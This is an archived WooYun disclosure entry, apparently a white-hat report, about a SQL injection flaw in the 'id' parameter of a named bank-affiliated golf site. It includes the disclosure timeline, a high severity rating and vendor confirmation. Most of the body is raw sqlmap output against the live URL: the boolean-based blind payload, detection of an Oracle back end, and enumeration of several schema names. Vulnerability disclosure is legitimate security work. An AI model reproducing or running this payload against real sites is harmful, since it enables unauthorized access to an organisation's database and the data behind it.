乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-02-12: 细节已通知厂商并且等待厂商处理中 2015-02-17: 厂商已经确认,细节仅向厂商公开 2015-02-27: 细节向核心白帽子及相关领域专家公开 2015-03-09: 细节向普通白帽子公开 2015-03-19: 细节向实习白帽子公开 2015-03-29: 细节向公众公开
.......
........
http://ccgolf.cib.com.cn/Match.Site/view.jsp?id=74492GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] ysqlmap identified the following injection points with a total of 36 HTTP(s) requests:---Place: GETParameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=74492 AND 3581=3581---[23:46:58] [INFO] testing MySQL[23:47:00] [WARNING] the back-end DBMS is not MySQL[23:47:00] [INFO] testing Oracle[23:47:03] [INFO] confirming Oracle[23:47:04] [INFO] the back-end DBMS is Oracleweb application technology: Nginx, JSPback-end DBMS: Oracle[23:47:04] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes[23:47:04] [INFO] fetching database (schema) names[23:47:04] [INFO] fetching number of databases[23:47:04] [INFO] retrieved: 1[23:48:04] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request2[23:48:15] [INFO] retrieving the length of query output[23:48:15] [INFO] retrieved: 11[23:49:03] [INFO] retrieved: [23:49:33] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request[23:49:43] [INFO] retrieved: ______3_2__ 3/11 (27%)[23:49:46] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request[23:50:09] [INFO] retrieved: AP_X_03020_ 9/11 (82%)[23:50:16] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request[23:50:25] [INFO] retrieved: APEX_030200[23:50:25] [INFO] retrieving the length of query output[23:50:25] [INFO] retrieved: 6[23:51:12] [INFO] retrieved: [23:51:36] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request[23:51:57] [INFO] retrieved: CTX_YS 5/6 (83%)[23:52:14] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request[23:52:19] [INFO] retrieved: CTXSYS[23:52:19] [INFO] retrieving the length of query output[23:52:19] [INFO] retrieved: [23:52:45] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request[23:53:07] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request6[23:53:21] [INFO] retrieved: [23:53:42] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request[23:53:44] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request[23:53:51] [INFO] retrieved: ___S__ 1/6 (17%)[23:53:51] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request[23:54:01] [INFO] retrieved: E__S__ 2/6 (33%)[23:54:08] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request[23:54:16] [INFO] retrieved: E__SYS 4/6 (67%)[23:54:16] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request[23:54:22] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request[23:54:41] [INFO] retrieved: EXFSYS[23:54:41] [INFO] retrieving the length of query output[23:54:41] [INFO] retrieved: [23:55:08] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request5[23:55:25] [INFO] retrieved: _____估计有更长时间.........
..............
危害等级:高
漏洞Rank:11
确认时间:2015-02-17 08:08
暂无